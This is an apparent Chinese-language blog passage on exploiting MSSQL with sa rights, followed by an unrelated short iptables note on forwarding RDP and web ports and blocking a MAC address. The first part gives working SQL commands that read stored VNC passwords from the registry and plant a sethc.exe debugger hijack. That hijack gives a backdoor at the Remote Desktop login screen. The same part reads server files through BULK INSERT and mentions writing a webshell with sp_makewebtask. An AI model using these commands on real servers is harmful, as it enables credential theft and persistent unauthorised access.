exec master.dbo.xp_regread 'HKEY_CURRENT_USER','Software\ORL\WinVNC3','Password'
exec master.dbo.xp_regread 'HKEY_CURRENT_USER','Software\ORL\WinVNC3','PortNumber'
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\RealVNC\WinVNC4','Password'
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\RealVNC\WinVNC4','PortNumber'

类似如此,有当我们不知道vnc安装在哪里的时候可以通过xp_regenumkeys xp_regenumvalues 来读取.如果只有guest权限,我想我们能做的也只有这些了.以下语句记录一下.劫持sethc.exe的注册表镜像,通过xp_regwrite的.例子中,我们把sethc.exe 用资源管理器劫持了,登陆3389 5shift 就运行explorer.exe了.本文只是介绍个方法.同样你可以把explorer替换为任务管理器,cmd.exe.也可以不替换sethc.exe可以替换win放大镜文件.登陆3389 win+U就弹出.我想注册表,也告一段落吧.

exec master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\explorer.exe'';

接下来说说xp_availablemedia 显示系统上可用的磁盘驱动器 和 xp_dirtree 显示某个目录下的子目录与文件架构.dbo.xp_subdirs 只列某个目录下的子目录.xp_getfiledetails 获取某个档案的相关属性. 很简单的,这两个函数注入中,我们经常使用,现在他可以叫我们查看服务器上有什么文件和目录.没什么技术含量不写例子了.写下如何查看文件内容吧.如果可以使用cmdshell, 我建议使用type 命令来查看.如果不可以,那我们使用把文件内容插入数据库的表里,然后来读取文件内容.代码如下:

#建立一个临时表

create table #testtable(
context ntext );
select * from #testtable

#将本地文件写入表中

BULK INSERT #testtable FROM 'c:\1111.txt'
WITH (
    DATAFILETYPE = 'char',
    KEEPNULLS
)
--drop table #testtable;

需要注意的是我们必须有BULK INSERT 权限才可以.我们是sa,可以不用考虑这个问题.查看文件内容还有好多办法.有兴趣的自己去看下mssql的一些文章. 我很少写东西,写一天了还没写完,有点烦了.随便结个尾吧.以后想到再来详细补充. 大家看看这几个函数: xp_servicecontrol 激活或者停止某个服务; xp_terminate_process 停止某个进程的pid. sp_helpextendedproc 可以用来查看哪个 存储过程用到了哪个dll.
其实还有一些存储过程,比如sp_makewebtask 可以用来写入一句话木马. 我想把一些注入中用到的存储过程,改在注入总结篇中总结. 本文只是大概记录了一些本人在网络学习到,和自己常用到的一些小经验.其实sa的利用方式还是很多,想到再补充,大家想到什么好的利用方式,也可以和我交流.
本来想写个记录帖子的,写一半把性质给忘记了.其实真的sa可以执行cmd.那么我们能做的事情好多了,我一句一句的纪录如何开始3389 如何导入文件到表内 导出为文件,如何执行就没意思了.好了,就写到这里了. 想到什么再补充什么.

iptables设置远程桌面端口映射 禁止特定mac地址访问

远程桌面:

iptables -t nat -A PREROUTING -d 210.26.24.98 -p tcp --dport 3389 -j DNAT --to 192.168.200.199:3389

iptables -t nat -A POSTROUTING -d 192.168.200.199 -p tcp --dport 3389 -j SNAT --to 210.26.24.98

 

内网192.168.200.199

外网210.26.24.98

网页映射:

iptables -t nat -A PREROUTING -d 210.26.24.98 -p tcp --dport 80 -j DNAT --to 192.168.200.199:80

iptables -t nat -A POSTROUTING -d 192.168.200.199 -p tcp --dport 80 -j SNAT --to 210.26.24.98

内网192.168.200.199

外网210.26.24.98

以规则mac地址禁用客户机:

iptables -A INPUT -m mac --mac-source 00:00:00:00:00:01 -j DROP